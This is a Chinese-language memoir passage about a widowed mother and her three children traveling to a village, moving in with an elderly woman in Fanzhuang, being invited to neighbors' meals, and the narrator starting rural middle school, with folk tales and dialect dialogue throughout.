我妈妈转头儿看了看我说:“把恁小妹带去。路上你带着?” “我带!”我说。 “那行吧!”我妈妈说,“我看你哭地恁么可怜!我就答应你吧!” “那好!把俺小妹带上!”我欢天喜地地说。 “你赶紧洗洗脸去吧。拿个洗脸布把脸擦擦。这半天脸都哭红了。要不是看你哭地可怜,我就不带笑笑了。”我妈妈说。 我妈妈终于答应把我妹妹带上了。一个孩子,弱小无助。任凭大人处置。多可怜啊? 第二天,我们早早就出发,我骑着我爸爸留下的老式自行车,我妈妈全程靠自己走,她不会骑车。我骑车带上弟弟跑一段路,把他放下,让他在路边上的树荫里等着,我再骑车回头去带我妹妹。 我妈妈破天荒地买了一袋子白馒头,带着路上吃。我们走到了兰陵的时候,已经是早上七八点了。早上,空气很是凉爽。公路两旁,白杨树的叶子哗啦哗啦地响。高高的杨树枝里透过一道道金色的阳光。我们娘四个的心情很好。 我妈妈说:“恁饿吧?该吃饭了。” 我们说:“吃吧。吃吧。” 我妈妈就把袋子里的白馒头拿出来,给我们一人一个,分了吃了。我们走在路上,吃着白馒头。心情还不错。其实,说起吃馒头,我一个人至少能吃四五个。可是,我妈妈没有买那么多,我只能吃一个。但这也差不多了。我们继续赶路。 我们走到一个村庄前,公路边上有一堆大粪。我妈妈说:“咱今天好时(屎)气!”再往前走,又见到一队人马在出棺。我妈妈又说:“咱发财!发财!” 我们走到苍山了,苍山的公路边上有一堆一堆的石膏,带着银丝,泛着白光。 我妈妈说:“石膏能做豆腐。” 我说:“妈,咱家床底下不是有一堆石膏吗?” 我弟弟说:“在哪儿?我怎么不知道的?” 我说:“就在咱家床底下,床西头儿,靠近外头床腿儿的地方,有一堆石膏,有十来个。跟豆腐块子似的。” 我妈妈说:“那还是恁爸爸以前从苍山拾回家的。石膏是去火的,烧茶的时候也能搁进去。我昨天烧茶,就劈了几把竹叶放锅里,再放点石膏。” “来!笑笑,你上来!我带你一段儿!”我说。我妹妹立马爬上了我的自行车。我妈妈在后头带着我弟弟走。我带着我妹妹往前骑了一段路儿,看看还能看到我妈妈的时候,就把我妹妹放在路边的小杨树荫里,让她站在树荫里等着,我再回去接我弟弟。 我弟弟看见我来了,高兴地上了我的自行车。坐车总比走路好啊,他们都喜欢坐我的自行车。 我们就这样又走了好长一段时间,好长一段路。我带着我妹妹在前头骑车,我妈妈带着我弟弟在后头走着。 这时候,一个中年男人骑着自行车从我们身旁经过,我妈妈冲着那个男人喊了一声:“三哥,恁捎俺一段儿吧!” “行!”那个男人说。 “多谢三哥!”我妈妈说着抱起我弟弟坐在那个男人的后座儿上。我知道我妈妈是让人家带她一段儿了。这在我妈妈来说,毫不奇怪。她在山东和江苏之间往来,没有十趟,也有八趟。她一个人步行,走累了。看见身旁经过的骑洋车子的大哥,有那面善的,她就让人家捎她一段儿路。她好省点力气。 我妈妈坐着的洋车子来到了我前头,我骑着我的洋车子跟在后头。我看着我妈妈坐在那个陌生男人的自行车后座儿上,这样走了一段路,我妈妈下了车子。 我跟我妈妈说:“那个男的还蛮好的。还肯带你一段路。” 我妈妈说:“不是好东西!他还想伸手去抓我的手。被我给甩开了。俺不喜这种人!俺也不是那种人!” 我问我妈妈说:“妈,你又不认识他,你怎么叫他三哥的?” 我妈妈跟我说:“走路的时候遇见陌生人不能叫大哥,叫大哥人家会生气。大哥是王八,二哥是乌龟。要叫人家三哥。” 到了中午,我妈妈问我们:“到了大固了。咱走了有五十里了。恁饿吧?我还带了几块干馒头儿,恁谁想吃就说哈。” 我知道已经没有软软的白馒头了,就说:“不饿,不想吃。就是太渴了,想喝水。” “渴了?哪来有压水井啊?咱打量打量哈!”我妈妈说。于是,我们边走路边打量路两旁,看看哪里有压水井,我们好奔过去喝水。那时候,山东很多人家种大棚。有的人家大棚门口打了井,地面很是泥泞。我闻着那大棚门口儿散发过来的潮湿的泥土的香味儿,想着那压水井里的水是一定是格外清凉。可是,人家的大棚种在公路两旁的沟底下。我们不好迈过去。 那时是夏天,太阳刺眼,公路上没有什么树荫,几棵只有胳膊粗的小杨树垂头耷耳地站在路两旁。小杨树头顶上的几片叶子稀里哗啦地,连它自己的脸都遮不住了。我的脸、胳膊都被晒地红红的,胳膊上出了一层白白的盐。 路边,一户人家的屋门外有一个压水井,我们赶忙奔过去打水喝。我们四个有的打水,有的喝水,也顾不上去跟里头的人家说一声。 你知道从压水井里喝水是怎么喝的吗?要是有人给你打水,你直接双手捧着喝也行。专业的手法是,你拿左手捂住压水井出口,在拇指和食指之间的缝儿里喝水。这种喝法,在没有人给你打水的时候,你自己一个人就可以独立操作完成。 穷人家的孩子,也有他们的聪明。穷人的聪明,那都是被生活给逼出来的。穷人,为的都是最简单的吃喝。 过了一会儿,女主人掀开门帘儿走了出来。 我妈妈说:“大姐,俺走路走热了,俺来打水喝的。”女主人眼皮也不翻,径直走了出去。我们也管不了那么多,继续打水喝。 我妈妈催着我们说:“快点!我也喝口儿!”我给我妈妈打着水,我妈妈也咕咚咕咚地喝起来。 等我们全都喝足了水,又意气风发地上路了。 我妈妈也有了精神,她跟我们说:“人饿几天没事儿,渴了可了不得。有个穷人给地主割麦。中午送饭的时候,地主家给割麦的人吃的咸鸭蛋。穷人嘴馋,吃得可香了。穷人吃完饭,接着割麦。大夏天,地主家给割麦的穷人准备的水罐子,就放在地头儿上。穷人心里想,反正渴了水罐子里有水,不急着喝水。哪知道地主诚心要使坏,故意把水罐子上的绳子绊倒,把水罐子打碎了。水罐子里头的水全都淌光了。夏天天气热,穷人吃了咸鸭蛋,又顶着大太阳割麦,可被渴坏了。”妈妈这样说着,我们看着妈妈,为我们刚刚解决了渴这个问题而庆幸并且满足着。 我妈妈又说:“咱是走路走得太热了,实际上,越是天热,越是不能喝凉水。孔圣人带着学生走路,路上渴了,看到一个女的在井台上挑水,孔圣人就过去找这个女人要水喝。这个女人端了一碗水给孔圣人,又在碗里撒了一把麦糠。孔圣人看到碗里有麦糠,只能慢慢地喝。挑水的女的说,我这是为你好啊。越是热,越是不能灌凉水。要是被凉水给激着,能要人的命。” 提起水井,我妈妈又说起了以前的故事。 说是一个老头儿,就爱唱唱儿。你跟他说什么都得唱着说。这天,这个老头儿跟他家的老嫲嫲一块儿在辘轳井边儿上打水,起南来了一个赶考的举子。赶考的举子想跟小老头儿打听打听,到京城还有多少里路。他就跟小老头儿说:“大爷啊,到京城还有多远的路啊?”举子问了三遍,老头儿就是不答应。 老嫲嫲跟赶考的举子说:“俺家老头儿爱唱唱儿。你得唱着跟他说。” 赶考的举子就唱着问老头儿:“老大爷,老大爷。今一天赶考到汴京。还有多少里路?我跟你打听打听。” 老头儿听了以后唱着说:“赶考的举子你是听。今一天赶考到京城。还有十里路就到汴京。” 老头儿唱完,自己双手打个拍子。咣!他一松手儿,井把儿把他给打到井里头去了。 小老头儿在井里咕噜咕噜地喝水。老嫲嫲赶紧趴到井台上问:“老头子!老头子!你淹着了吗?”问了三遍,老头子就是不答应。 老嫲嫲知道他爱唱唱儿。就唱着问:“老头子!老头子!今一天井边落了水。我问你淹着没淹着?” 老头子在井底下唱着说:“叫一声老嫲嫲你是听。今天井边落了水。喝了几口也不算多。” 小老头儿在井里唱,那井里的水咕噜噜往上冒。 咣!小老头儿唱完又在井底下打拍子呢。 是的,我妈妈爱说话。以至于我们几个也爱说话。我们边说话边走,从来没有沉闷的时候。我们几个也不会跟谁冷战。至于后来,我在办公室里变得不爱说话,特别会沉默,特别会不说话,那都是环境和形势把我改造的。 到了太阳偏西,吃晚饭的时候,我们终于到了小鲁村了。我看到了小时候我爸爸带我洗澡的地方。再往前,前头那条南北大路,就是奔小鲁村的路了。那条路还是我熟悉的黄土路,黄土路的两边还是记忆中的那些房屋,并没有多少变化。 我妈妈说:“我都多少年没来小鲁村了。我换件衣裳。”我妈妈从袋子里拿出来一件白色的确良的衣裳换上,她立马变得神采奕奕、光彩照人了。她的皮肤是那么白,她的脸上带着有福气的微笑和光芒。我的妈妈她就是那样,任何时候,都不见她颓唐。她稍微拾掇一下,就会焕发荣光。 我说:“妈妈,你这件衣裳真好看。” 我妈妈笑着说:“好看啊?你要吧?回给你!” 我妈妈说:“人是活宝。早上还在山东,晚上就到小鲁村了。人是无价之宝。有一个穷人家的老头,他交了一个地主朋友。这一天,地主请穷人吃饭,桌子腿儿不稳当了,地主就拿来四只元宝来垫桌子脚。等到穷人请地主吃饭了,穷人家的桌子腿儿也不稳当了。穷老头儿就让他家四个儿子出来,扶着桌子腿儿,一个桌子腿儿上一个儿子。地主看了,心里惨透的很。他跟穷老头说:‘老哥,我不如你啊。’穷老头说:‘你那么有钱,你怎么还说你不如我的?’地主老头说:‘你有四个儿啊。人是无价之宝啊。’” 我问妈妈说:“妈,要是没有计划生育,你会生四个小孩吗?” 我妈妈说:“当时计划生育管地严,要不,我还要再生。” 我说:“妈,你是不是特别喜欢小孩儿啊?” 我妈妈说:“是的。我就喜欢小孩。” 我说:“那要是由着你,你准备生多少啊?” 我妈妈说:“我要生一伙!” 我听了,觉得特别好玩。 “生一伙!”我看着我妈妈说。我仿佛看到在我妈妈身后,跟着一群小孩子。 我问我妈妈说:“你说生一伙,那你怎么养啊?那么多小孩儿,你不害怕啊?” 我妈妈说:“不害怕。小孩儿,有苗不怕长,咱恁么难,我不还是把恁姊妹仨养大了嘛。” 我们还是住在原来的院子里,还是夏天,眼前还是弟弟喊我去“郎快”的土墙的屋,和东边倒塌了房顶的屋框子。屋里还是一张旧的木床。 “恁要什么盖的吧?我给恁找件衣裳夜里盖盖。”我妈妈说。 “不要!我夜里拿自己的衣裳盖上肚子就行了。”我说。 我妈妈说:“我拿件人家给的厚衣裳给你,你留着夜里盖。” 我说:“没事儿。天热,拿一坨大蒜盖上肚脐眼就行了!” “我也跟俺大姐学学!我也拿一坨大蒜盖上肚脐眼子!”我弟弟说。 “那恁就拿坨大蒜盖上肚脐眼子!”我妈妈笑着说。 我们就在我们的院子里看书,玩耍。我妈妈给我们做饭吃。我们没有菜,我妈妈就炒了大蒜瓣子给我们吃。炒熟了的大蒜瓣子有些甜甜的,还有些烧熟了的大蒜的蒜臭味儿。我们也是吃惯了的。虽然不好吃,但也吃得下。 我最爱吃的是我妈妈炒的洋蒜。不知道是人家给的,还是我妈妈捡来的。我妈妈把洋蒜炒地红红的,亮亮的,端到桌子上,给我们吃。那洋蒜香香的,甜甜的。那是我记忆里,我妈妈炒地最好吃的一道菜了。 冬歌也来找我们玩了。她也长高了,是个小姑娘了。我们还是像以前一样一起玩。我们天井里有一根竹竿。冬歌临走的时候要把它带走。 我说:“这是我的,不能给你!”冬歌不听,非要跟我争。我跟冬歌各自使劲儿拽着杆子不放手。 我妈妈在屋里看见了,站在门口儿跟我说:“大省,你给冬歌啊!” 我说:“是我的!凭什么给她!” 我还是拽着杆子不放手,我妈妈很无奈,我很少看到她那种无奈的样子。我那时候已经小学毕业了,是个小姑娘了。我妈妈见我不听她的,有很多话哽在喉头,又不知道该怎么跟我说。她就一头扎进里间去,不再理我。她很少这样。我不知道她是去哭了,还是去怎么了。我知道她的无奈和痛苦。 我知道我妈妈想说什么,她是想跟我说,那根竹杆子给冬歌算了,这个院子不是咱的,这个杆子也不是咱的,这里什么都不是咱的。我虽然知道,但是并不想接受我妈妈的想法。我非要跟冬歌争。我一时也说不清是为什么,又仿佛知道是为什么。或许,是我长大了,上学了,我骨子里有了那股子不服输的劲儿了。 我想争的绝不是一根竹竿,那根竹竿对我来说没那么重要,我也没有那么讨厌冬歌,讨厌到一根竹竿都不想给她。我争的是自己心里的那口气。是自己的不放弃。又或许,我是想争给我妈妈看,我想让我妈妈知道,她的闺女骨子里还很硬气。我不想让我妈妈看到我是一个软蛋。所以,我死死地抓着那根杆子不放,冬歌再怎么使劲儿夺,我就是不让。 一群小女孩儿听说我来了,都来我家找我玩儿。她们堆在我们屋子里。我对她们大体上有个印象,但一时又说不上来她们是谁了,我妈妈倒是还记得她们。 “这个是蕊蕊!”我妈妈笑着说。蕊蕊就站在我跟前。她扎着高高的马尾辫,仰着红彤彤的脸蛋。这么多年过去了,她已经是一个端庄文静,亭亭玉立的小姑娘了。 “这个是恁娇娇大姐!恁可学大爷家的大闺女!”我妈妈笑着说。 这个娇娇大姐,我对她有一些印象。但是我以前好像不怎么跟她玩的。 娇娇大姐倒是越发成熟了。她叽叽喳喳地跟我妈妈说话。我妈妈也很高兴,她笑嘻嘻地跟她们说话。 “她成绩好吗?”小姑娘问。 “她成绩蛮好!”我妈妈说。 “她今年上六年级吗?”小姑娘问。 “俺那儿没有六年级,直接上初中。”我妈妈说。 “她上暑假补习班吗?”小姑娘问。 “俺家没有钱,她不上。就自己在家里借书看看!”我妈妈说。 “好啊,我有初中的书,回我给你送来吧!”娇娇大姐说。 “那太好了!谢谢大姐!”我妈妈说。 “没事儿!回头让她跟我们一块玩儿去吧!”娇娇大姐说。 “好啊!大省跟大姐去玩吧!”我妈妈说。 我其实并不想跟她们一块玩儿。因为我是难民,她们是土著。她们都是她们的爸爸的天之骄女,而我没有了爸爸,我也不是谁的宠儿了。我跟她们不一样。可是,我妈妈的盛情难却。她高兴地看到,那些小姑娘愿意跟她的女儿一起玩儿,她热烈地希望她的女儿跟人家展开友好的外交。于是我就去了。 那天下午,我跟着娇娇大姐,去了小鲁村庄东头的杨树行放羊。她蹲在地上,我站着跟她说话。风吹着杨树叶儿哗啦啦地响。地上,是静静的黄土地和零星的青草和树叶。旁边,有几个小男孩儿蹲在地上玩儿。他们大概知道我是外来户,就在旁边叽叽咕咕地说我坏话。 娇娇大姐听到了,就蹲在地上恶狠狠地骂他们:“小叽霸养的!养汉头将的!在那胡说八道!我骂死他个小鸡蛋壳剥的!” 那几个小男孩儿被她骂地老老实实的,再也不吭声儿了。 我看着她骂他们,我想,有个好爸爸真好。她有她的爸爸护着她,所以她才能那么霸道那么自信,她想骂谁就骂谁。 2.去凡庄 一天,房东大姑奶奶来了。她是可典爷爷的大妹妹,我妈妈让我们叫她大姑姥娘。 “俺要盖屋喽,恁三姐。恁不能搁这儿住喽。我再给恁找个地方住吧。俺三妹妹不是搁凡庄上嘛。她那儿有地方住。恁娘几个去她那儿吧。她一个苦寡,无儿无女的。恁住她那儿,恁还能住长远。恁二姑家就在立围子,离那也不远。” 我妈妈听了大姑姥娘的话,问我们:“恁大姑姥娘让咱去凡庄子,咱去吧?” 我们说:“去!” 第二天,我妈妈带着我们三个离开了小鲁村,去了凡庄。那是我最后一次离开小鲁村。我们的细软就是几件替换的衣裳。都挂在我的自行车车把上。我一路骑着自行车,满怀着希望,跟着我妈妈的指引来到了凡庄。那是夏天,凡庄南家前的大路很宽敞,路两旁是高高的杉树。路两边的地里,是漠漠的稻田,稻田里的水稻细细的绿绿的。我在小鲁村的时候,应该见过南乡的稻田和水稻的,可是我一点儿都不记得了。直到这次来凡庄,我才见识了那样深广的稻田。 三姑姥娘炒的土豆丝,她拿出来一沓子煎饼,让我们坐下来吃饭。我们就跟她一起坐在她家天井里吃饭。 三姑姥娘手里卷着煎饼说:“三姐,你也看地清清亮亮的。我就三间土墙的瓦屋,我让出来两间给恁娘四个住,我自己住西屋。” “行!三姑!”我妈妈低头吃着煎饼说。我很喜欢看我妈妈吃饭,她吃饭的时候心无旁骛,低着头,咬着她手里的煎饼。 “恁二姑就在前头的立围子,南家前一条路就到了。恁二姑家的恁大姐也在立围子本庄上。”三姑姥娘说。 “我知道,三姑。俺二姑家的大姐我见过。”我妈妈说。 “恁大姐家的小孩儿跟恁几个孩子差不多大。恁大哥、二哥,也在本庄上。”三姑姥娘说。 “嗯。”我妈妈吃着煎饼点点头儿。我知道,二姑姥娘肯定也是跟三姑姥娘一样善良,因为可典爷爷的缘故,他们都认我们这门子其实本不是亲戚的亲戚。我们在这样的异乡,凭空有了姥娘、大姨、和大舅、二舅,这让本来孤苦而空虚的异乡生活,瞬间变得温暖了许多。 天热,我们一起坐在大门口儿听她们说话。大门口儿有风。 我妈妈说:“三姑,你让我住恁这里,我也是巴不求得的。可是远了香近了脏,咱娘们儿要是有意见了怎么办啊?到时候你可不能再撵俺走。你要是撵俺走,俺娘四个儿,到哪去啊?” 三姑姥娘说:“不会的。三姐。我的为人你还不知道吗。家军在的时候,咱娘们儿就喜好喜好的。我那时候腿碰破了,都生了长尾巴蛆了,在我腿面子上一拱一拱地,我眼不好,自己看不到挑。你找了香油,倒到我腿上,把大洋针搁灯头火儿上烧烧,给我一个一个儿地,把那些蛆给挑出来的。要不是你,我这条腿早就完了。连这条老命都能给搁下。” 我妈妈说:“年岁多了,你不说,我都要忘了。你看我过得什么日子哎,三姑。我的头脑都不行了。我怕我到回来别伺候不好你,咱娘俩儿再闹生分。 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我妈妈说:“你怎么都记得的?三姑。这些事儿我都忘了。你不提我都想不起来。” 三姑姥娘说:“你那时候跟我说的,上半个月虫子回头儿朝上,下半个月虫子回头儿朝下。要吃打虫药,上半个月吃好。” 我妈妈说:“是的,三姑。我也是听人家老中医说的。三姑,我跟你说实话。我吧,就是怕什么吧?我怕恁那些大伯哥小叔子,还有你那些侄男伯女的。俺娘儿四个一来,不是碍了人家的眼了吗?俺要是不来,你的家业财产,都是人家的。俺娘儿四个一来,住着你的屋,占了你的地势,恁那些姓凡的近房能受得了吗?人家会排挤俺的。” 三姑姥娘说:“没事儿的,有我在,你不要怕他们。我是不指望他们。俺庄上有一个老头儿,打了一辈子光棍儿,临死的时候,身子还没凉透,就被他的几个侄子拖出去给埋了。侄男伯女靠不住。我谁都不指望,我就指望你。三姐。” 我妈妈笑着,拍着姑姥娘的膝盖儿说:“三姑,咱先说下,到时候,恁亲近房说我的坏话的时候,你可别再犯懊悔。” 姑姥娘说:“恁放心,三姐。肝和肠子心为主。我不是面糊子耳朵。我不信人家的坏,谁坏我也没有用。” 我看着三姑姥娘,觉得她说的肝和肠子心为主的话,说地真好,我觉得她是我们的亲人了。 我看了看三姑姥娘的罗锅子,问她说:“姑姥娘,你这个罗锅子是从小就有的?” 我妈妈朝我三姑姥娘笑着说:“你看看,到底是小孩儿,多不会说话啊。” 三姑姥娘说:“不怕的,没事儿。我这罗锅子不是从小就有的。我是小时候得了胃病,疼地在地上打滚儿,爹娘没钱给治。我疼地天天抱着膀子,弯着腰驮着背,时间长了,就成了 ‘罗锅子’了。不知道的还以为是天生的。后来经俺二姐,恁二姑姥娘介绍,把我说给了恁三姑姥爷。” 我说:“姑姥娘,俺姑姥爷排行老几啊?” 姑姥娘说:“恁姑姥爷排行老三。前头是他大哥、大侄子家。西院儿是他二哥家。” 我妈妈说:“你看你这个小丫头儿。多会捞捞着问!” 我说:“姑姥娘,俺三姑姥爷呢?” 姑姥娘说:“恁三姑姥爷有糖尿病,早就死了。” 老二凡乐家就住在西院儿,跟我们一墙之隔。没几天,凡乐家的来喊我们去她家吃饭。 “他三姐,明天,你带着恁三个孩子到俺家吃饭去。”凡乐家的说。凡乐家的长着一张酱色的小脸,说起话来嘴头儿努着。她不像我妈妈那样爱笑。但她的样子并不让我觉得讨厌。 我妈妈有些感激又有些为难地说:“俺不去麻烦恁了吧,二大娘。” 凡乐家里说:“去吧,怎么不去的?俺跟恁二大爷还请不动你啊?” 我妈妈说:“哪儿的事儿哎,二大娘。我是觉得不好意思,我带着三个小孩儿,拖拖拉拉地,到恁家给恁添麻烦。” “你来到姓凡的门儿上,就是一家人。添什么麻烦的。俺自己也得吃。不就是添几双筷子的事儿嘛。明天晌午头儿上,你带着三个小孩儿来哈。” “行!二大娘。”我妈妈说。 凡乐家里走了。她个子很矮,走起路来,屁股像是尾鳍一样扭动着她的身体。 我妈妈来到西屋,跟三姑姥娘说:“三姑,凡乐家的让我带着三个小孩儿去她家里吃饭。我去了?” 三姑姥娘说:“你去吧。不去白不去。她这房里兴这个,新人都要请到家里吃饭。” 我妈妈说:“我带着三个孩子,我是什么新人啊。人家还不是看恁老人家的面子嘛。” 三姑姥娘说:“让你去你就去是的。你初来乍到。他们也该请的。他们生孩子我也出了不少钱,光兴他们吃我的,不兴恁吃他的啊。该谁出的谁出。” 我妈妈说:“那我明天就去了?三姑?” 三姑姥娘说:“你去是的。没事儿。” 我妈妈问:“你自己怎么吃的?” 三姑姥娘说:“我自己能窜能蹦的,你不要问我的事儿。等我不能动的时候再说。” 对于吃饭这事儿,我们三个孩子当然是开心的。等到第二天晌午,我们跟着我妈妈到了西院凡乐家。 凡乐家的正在锅屋里忙着炒菜,她见我们娘四个儿来,赶紧招呼我们:“麻屋里坐!三姐!” 我妈妈说:“行!二大娘。” 我们跟着我妈妈到了凡乐家里坐下。凡乐家的又端上一盘子菜进来:“吃吧。别客气。自己家里。” 我们跟凡乐的三个儿子坐在一起准备吃饭。我妈妈问:“二大爷呢。没在家吗?不一块儿吃吗?” 凡乐家的说:“他去给人帮忙去了。你不要管他。” 我妈妈说:“俺二叔有头脑,天天有人请。” 凡乐家的说:“恁二叔小的时候就口齿伶俐,人家给他起的外号,叫‘小聪明’。这是我炖的小鱼儿,裹的面糊子炸的。你尝尝!” 我妈妈说:“行!二大娘。俺娘四个来恁家,让你费心了。” 凡乐家的说:“费什么心的?俺家恁三个兄弟,也要吃。” 我妈妈说:“恁家三个小兄弟可不孬,能给你顶门立户。你三个儿,命好。” 凡乐家的说:“怪好!三个儿,光扒青菜都扒不起了。一买衣裳都是买三套!马上娶媳妇得盖三座宅子!” “恁这不是盖好一位宅子了嘛。恁家能盖得起。俺就鸿雁一个,俺也盖不起。”我妈妈说。 “恁家大丫头不行就别上学了。省下钱来给鸿雁盖屋娶媳妇。小女孩儿上个四五年级就行了。我是说实话的,你可别生气。”凡乐家的说。 “我不生气,二大娘。大丫头吧,想上学。她要上,我就供她上。不然她以后抱怨我,没供她上大学。”我妈妈说。 “恁家里穷,上个差不多也就行了。光想往上上。上完初中上高中,上完高中上大学,上完大学还想再大!再大!那还没完没了了呢。”凡乐家的说。 “恁说的也是的,二大娘。她能上到哪儿我就供到哪儿吧。”我妈妈说。 又过了几天,三姑姥娘跟我妈妈说:“前院儿的恶心他娘来了。俺老大伯嫂子。你跟她喊大娘。” 天井里,站着一个高高的小老太婆。有六十多岁的样子。剪着“二道毛子”,笑嘻嘻的,样子看起来还蛮慈祥的。 “大娘你来了?”我妈妈说。 “大奶奶!”我也喊道。 “哎!”恶心他娘答应着。 “三姐,明天去俺家吃饭吧。”恶心他娘跟我妈妈说。 “俺可不去了,大娘!我那天带着三个孩子去西院俺二大娘家,我都不好意思去的。俺再去跟恁添麻烦干什么哎!”我妈妈说。 恶心的娘说:“哪儿的话哎,自己家里,有什么吃什么。别嫌孬就行。明天你带着三个孩子去哈。” 我妈妈说:“行,大娘。” 恶心的娘走了,我问我妈妈:“妈妈,俺大奶奶怎么给她儿起了这样一个名儿的?叫‘恶心’。” 我妈妈说:“以前的小孩儿好生赖,不好养活。起的名儿不好听,好养活。人家有的起个猫儿、狗儿的名儿,不是人的名儿,好让小鬼小派不来钩。” 我说:“哦,我看俺大奶奶那样儿,我还蛮喜欢她的。我最想去俺大奶奶家了。” 第二天,我们又到了恶心他娘家里。我们坐定,恶心他娘张罗我们吃饭。 “吃吧,三姐。你带着三个小孩儿随便吃。我再去炒个菜。” “你不要累手了,大娘。”我妈妈说,“你坐下歇歇,一块儿吃吧。” “我去弄个炖蛋,可好吃了。”恶心他娘说。 不一会儿,她端着一碗炖蛋进来了。那碗里头的鸡蛋被炖地跟豆腐一样,切成一块块的,厚厚的,跟鸡蛋糕一样,看着就很好吃。 “你炒地那么好看的,大奶奶。”我夸赞她说,“我还是头一回见人家这样煎鸡蛋来。” “好看吧?你叨块子尝尝!”大奶奶说,“我蛮喜欢大丫头的,看着就喜欢。” “喜欢吧?喜欢给你当闺女吧?”我妈妈笑着跟她说。 “行,我这辈子就没有闺女的命。”大奶奶说。 “你命好哎,大娘。恁三个儿。”我妈妈笑着说。 “三个儿好什么?三个儿,我跟恁大爷,俺两个得一个个地给操持着成家。俺孙子都有两个了。恁大兄弟家有小芹,恁二兄弟家有大猛。马上恁孬蛋兄弟也快结婚了。”大大娘说。 “你快熬出头儿来了,大娘!我这三个孩子还小,还在熬来。”我妈妈说。 “别急。恁就鸿雁一个。怕什么的。那两个丫头回打发出门子了。恁两个闺女长得都好看,能配个好人家。” 大奶奶说。 “多谢恁大奶奶金口玉言。等恁姊妹两个出了嫁,可想着回来看看恁大奶奶。恁大奶奶恁么疼恁。”我妈妈说。 第三回,我们娘四个又要去南家前的人家家里吃饭了。 我问我妈妈:“妈,咱这是去豆秃子家里吃饭的?” 我妈妈说:“是的。恁可不能叫他豆秃子啊,恁得跟他叫大爷爷。” 我说:“知道。这不是没在他跟前嘛。妈,恶心他爹,俺不是给他叫大爷爷嘛,南家前这个大爷爷是怎么回事儿啊?” 我妈妈说:“南家前的这个大爷爷,跟西院的凡乐是一个爷爷的。都是老五房的。凡乐他爹有老弟兄五个。凡乐他爹是大房,‘豆秃子’的爹是二房。姓凡的在凡庄是大户,是一霸。都是他欺负旁人,旁人没有敢欺负他的。” 我们娘四个一快儿走在路上,往南家前迤逦而去。路两边儿,是人家的土筑的房屋和院墙。这个陌生的村庄,跟荆堂完全不一样。我妈妈带着我们走在头里。她的表情我知道。一个寡妇带着三个孩子,去人家家里吃饭,实在说不上有什么好值得荣耀。我的心情跟她一样,说不上好,也说不上不好。人家请我们吃顿好饭,我当然是高兴的。可是,我也知道,我们跟人家其实没有什么系。我们跟人家无非是因为三姑姥娘的关系,才有了那么一丁点儿关系。人家请我们新来的吃饭,无非是因为个礼节而已。我们是什么?我们是异乡外地人,我们背负着孤儿寡母的身份来到这个跟我们毫无关系的地方,为的是求个生存。 我们到了豆秃子大奶奶家里。她家的条件比前两家都要好,盖着两层楼,听说屋里还有洗澡间。桌子上的饭菜也比前两家要好,有好几盘子我不认识的肉。豆秃子奶奶跟豆秃子爷爷又比前两家爱说爱笑。 回去的路上,我跟妈妈说:“妈,俺那个大爷爷不是长得蛮好的嘛,怎么人家给他叫‘豆秃子’的?” 我妈妈说:“你光看他长得好啊,你没看到他没有头发啊?” 我说:“那俺大奶奶还跟他呢,人家两口子不是蛮好的吗?” 我妈妈说:“恁大爷爷年轻的时候,因为秃头,不好说媳妇。他爹急地到处托媒人给他说。人家大闺女都不愿意跟他,嫌他是个秃子。恁大奶奶是打小儿没了娘,只有一个爹。媒人把她介绍给恁大爷爷以后,恁大奶奶经常去赶集。恁大爷爷的爹,每次看到她来赶集,都给她买东买西,给她扯布做衣裳,临走还给她带上两瓶香油。恁大奶奶好吃。她就因为这个才跟了恁大爷爷。” 14. 爷爷半夜里吓唬我 1.凤安中学 开学的时候,我妈妈把我弟弟妹妹都安顿到凡庄小学上学。我回到我们凤安乡的初中继续上学。 我们的宿舍是教职工家属院里的三间瓦房。我们几个初一的女生跟几个师姐住在一起。宿舍里是老旧的灰黑色的木架子床。晚上,一群人拖鞋上铺,准备睡觉了。宿舍里,除了木架子床散发出来的一股子霉味,又多了很多脚臭气。窗外,紧贴着我们床铺的窗外,隔着一层松松垮垮的窗帘,几个男生像游魂一样来来去去,嬉皮笑脸地,叫着我们一个师姐的名字。 “张红!张红!” 我们几个女孩子被惊扰地有些害怕了。被叫做张红的师姐一副若无其事的样子。 “张红,他们叫你呢!你出去啊!你看他们把人家初一的吓得!”宿舍里的几个师姐冲着张红说,“你要不就叫他们走!” 那个叫张红的师姐这才娇滴滴地朝窗外说:“恁走吧。”张红的头发很长,脸儿很白,看着有些软绵绵的,一副刚睡醒或是就要睡着的样子。 没过多大会儿,那几个男的真的走了。几天以后,我们那个叫张红的师姐收拾收拾东西也走了。 “张红师姐不住宿了?”我们问师姐。 “她不住宿了,她住到保安室了。”师姐说。 “她跟学校的保安谈了?”我们问。 “嗯,早就谈了。那个保安叫景河,是校长的外甥。”师姐说。 “那她不上学了?”我们说。 “不上了。她这样的,早就不想上了。”师姐说。 “她居然跟保安谈上了,好厉害啊!俺以后都得怕她了。”我们感叹道。 “厉害什么?”师姐说,“人家上一届的师姐还谈了个老师呢。人家那个老师还是教物理的,可有才了,还是研究生呢。校长都得优待他。” 那时候,女孩子辍学是很正常的事,她不上学了,也不足为奇。 不久,我们搬宿舍了。大家都住到新建的二层楼里去。张红就住在一楼,跟学校的保安住在一起。我们时常看到她在保安室里出来进去的。我们学校的保安叫景河,当时也就十八九岁吧。他是校长的外甥。他有着纤细瘦小的个子,和白皙瘦削的小脸。他有时候戴着个墨镜,只露出来一个尖尖的下巴。他自己还有别人,或许会觉得他是个酷男和帅哥吧。可在我心里,这样的人肯定是体格风骚外加阴鸷可怕。想想看吧,一个年纪轻轻的小伙子,天天窝在一间专属于他的保安室里,跟他金屋藏娇的没有结婚的女人在一起,能干些什么呢。 我爷爷不知道从哪里带回来两身漂亮的衣裳。一身是白色的衬衣和白底黑格子的背带裤,白色衬衣的领口儿上还有一朵秀气的黄色小花。我那时候才十三岁,还没怎么发粗发胖,我把衣服穿在身上,很好看,像个城里的小孩儿一样。另一身是一套玫红色条子绒的的套装,虽然有些掉色了,但是穿在身上,也很好看,也跟个城里的小孩一样。 我问爷爷:“这衣裳是谁给的啊?” 我爷爷说:“是向城的恁瞎子大姑给的。都是恁表姐的衣裳。” 我说:“我怎么没见过你说的这个大姑啊?” 我爷爷说:“她来过荆堂,你小时候见过,不记得了。” 我问爷爷:“俺大姑是瞎子啊?” 我爷爷说:“她从小就看不到,找了恁大姑父也是看不到。” 我说:“那她们怎么生活啊?” 我爷爷说:“你别看人家是瞎子。人家穿针引线,好眼儿的都不如她。恁大姑跟恁大姑父一块儿过得可好了,恁大姑父会说书。人家生了一个男孩儿,一个女孩儿,这两个小孩儿好好的,不就是恁大姑的眼儿嘛。” 我穿着这两身漂亮的衣裳去上学,不知道的,还以为我家境很好呢。 “宋大省,你是不是独生子啊?”我的一个女同学问我。 